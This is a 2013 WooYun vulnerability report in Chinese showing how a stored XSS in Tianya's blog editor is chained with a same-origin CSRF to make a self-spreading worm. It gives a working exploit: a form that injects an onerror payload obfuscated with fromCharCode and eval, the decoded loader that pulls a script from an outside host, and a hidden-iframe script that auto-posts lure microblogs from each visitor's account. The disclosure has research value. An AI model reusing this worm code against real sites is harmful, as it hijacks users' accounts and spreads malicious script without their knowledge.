当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-035424

漏洞标题:天涯CSRF系列四: 利用储存XSS+伪CSRF进行蠕虫攻击(XSS过滤器绕过)

相关厂商:天涯社区

漏洞作者: LaiX

提交时间:2013-08-28 07:49

修复时间:2013-10-12 07:50

公开时间:2013-10-12 07:50

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-28: 细节已通知厂商并且等待厂商处理中
2013-08-28: 厂商已经确认,细节仅向厂商公开
2013-09-07: 细节向核心白帽子及相关领域专家公开
2013-09-17: 细节向普通白帽子公开
2013-09-27: 细节向实习白帽子公开
2013-10-12: 细节向公众公开

简要描述:

这次的例子将结合一个POST的CSRF来实现蠕虫攻击,这次的蠕虫仅仅是利用一个CSRF来传播,如果用XSS(dom操作)来感染,危害更大。

详细说明:

通过发微博,我抓到了一个这样一个POST的地址

http://www.tianya.cn/api/tw?method=tweet.ice.insert


当我们单独访问这个地址的时候,出现如下信息。

1.png


这说明什么?说明已经对来源的地址做了过滤。
有的同学就问了,这还CSRF什么?还利用个毛啊!
不要急嘛,故事才刚刚开始。

漏洞证明:

既然我们无法通过外部的链接来触发CSRF,那么我们可以利用储存型的XSS来触发这个CSRF。在本域下发包,来源域是天涯的,自然不会拦截。
正好在天涯博客日志页面发现一个储存XSS的实例,那我们就来结合这个实例进行一次蠕虫攻击。
1.一波三折的XSS过滤器绕过
首先打开HTML编辑器

2.png


先插入一条

<img src=x>

试试
点击更新在点HTML编辑回来发现变成了这样

3.png


没关系,我们打开开发者工具在源码中修改

4.png


发布之后,打开开发者工具发现又被替换成了这样

5.png


万一只是SRC被替换呢,试试插入onerror事件

6.png


发布之后,发现又被吃掉了。
这也不行那也不行,干脆直接发包来提交文章吧。
看了下参数,我构造了一个POST的HTML来发文章

<form action="http://blog.tianya.cn/qing/tyqing_post_submit.asp" method="post" >
<input type="hidden" name="blogId" value="4784133">
<input type="hidden" name="title" value="test">
<input type="hidden" name="content" value="<img src=x onerror=alert() >" >
<input type="hidden" name="keyWord" value="">
<input type="hidden" name="categoryId" value="0">
<input type="hidden" name="setTop" value="0">
<input type="hidden" name="ChannelCate" value="0">
<input type="hidden" name="size" value="500">
<input type="hidden" name="bHidden" value="0">
<input type="submit" value="ok">
</form


7.png


提交之后:

8.png


回到博客主页,终于弹起来了

9.png


弹起来了就意味着可以蠕虫了。
接下来我们来整理一下逻辑。首先我们需要编写一个访问我的博客地址就能自动发微博的一段payload。通过这个payload可以发布我的博客地址然后诱导大家都来访问,这样下去访问一次就自动发一次微博,达到蠕虫传播的效果。
2.构造payload
构造这个payload,我们得弄清楚先做什么再做什么。
第一步:构造一个发布微博的HTML表单
第二步:构造一个iframe来进行POST提交,或者使用AJAX提交(因为是同域的情况下,这里我使用iframe,便于学习跨域提交)
第三步:把发布微博的HTML表单写进iframe里然后隐蔽的提交
经过这三步,我们得到一个完整的 payload:

/* 首先动态创建一个iframe */
var div = document.getElementById("blog_nav");
var iframe = document.createElement("iframe");
iframe.src = '';
iframe.style.display = "none";
iframe.id = "test_iframe"
div.appendChild(iframe);
/* 接着向iframe中写入提交微博的代码 */
var SendConent ="推荐大家一个好玩的 http://blog.tianya.cn/blogger/blog_main.asp?BlogID=4784133";
test_iframe.document.write
(
"<form id='test_form' action='http://www.tianya.cn/api/tw?method=tweet.ice.insert' method='post' >"
+"<input type='hidden' name='params.appId' value='twitter'>"
+"<input type='hidden' name='params.title' value='"+ SendConent +"'>"
+"<input type='hidden' name='params.sourceName' value='天涯微博'>"
+"</form>"
+"<script>document.getElementById('test_form').submit();<\/script>"
);


现在payload有了,怎么才能让payload执行呢。
我们得先往博客上发恶意代码才行。为了发送恶意代码我构造了这样一个POST表单

<form action="http://blog.tianya.cn/qing/tyqing_post_submit.asp" method="post" >
<input type="hidden" name="blogId" value="4784133">
<input type="hidden" name="title" value="test">
<input type="hidden" name="content" value="<img src='bcdcmd.txt' onerror='eval(String.fromCharCode(118,97,114,32,111,72,101,97,100,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,72,69,65,68,39,41,46,105,116,101,109,40,48,41,59,118,97,114,32,111,83,99,114,105,112,116,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,111,83,99,114,105,112,116,46,116,121,112,101,61,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,111,83,99,114,105,112,116,46,115,114,99,61,39,104,116,116,112,58,47,47,99,110,104,107,46,109,108,47,116,105,97,110,121,97,47,116,105,97,110,121,97,46,106,115,39,59,111,72,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,111,83,99,114,105,112,116,41))'>" >
<input type="hidden" name="keyWord" value="">
<input type="hidden" name="categoryId" value="0">
<input type="hidden" name="setTop" value="0">
<input type="hidden" name="ChannelCate" value="0">
<input type="hidden" name="size" value="500">
<input type="hidden" name="bHidden" value="0">
<input type="submit" value="ok">
</form>


其中一大串ASCII码代表:

var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement('script');
oScript.type = 'text/javascript';
oScript.src = 'http://cnhk.ml/tianya/tianya.js';
oHead.appendChild(oScript);


其意为 引入一个外部的JS文件,也就是引入我们的payload, 当访问者访问我们的博客就会触发payload立刻感染。
接着用它发表一篇带有恶意代码的文章,到目前位置所有的工作都做完了。

10.png


刷新之后我们看看微博:

11.png


当别的用户看见我们发的微博,带着强烈的好奇心就会来点击链接,然后...

修复方案:

累死我了,@XSSER 这下给高点rank不过分了吧.......- -;

版权声明:转载请注明来源 LaiX@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2013-08-28 15:20

厂商回复:

感谢提供,辛苦了。 :)

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-12 09:13 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    楼主,你写这么多,天涯也撑死4分,他们xss和csrf一大堆,提交了都是2分,没意思,还难的打字

  2. 2013-10-12 09:16 | LaiX ( 普通白帽子 | Rank:128 漏洞数:39 | 承接 建站、仿站、维护、反黑客、代码审计...)

    @xfkfk 多谢兄台提醒

  3. 2013-10-12 10:36 | M0nster ( 实习白帽子 | Rank:53 漏洞数:17 | 允许我国的艺术家先富起来)

    mark 写的详细

  4. 2014-02-05 15:41 | HJK ( 路人 | Rank:0 漏洞数:1 | 喜欢未知的东西)

    写的很详细,学习了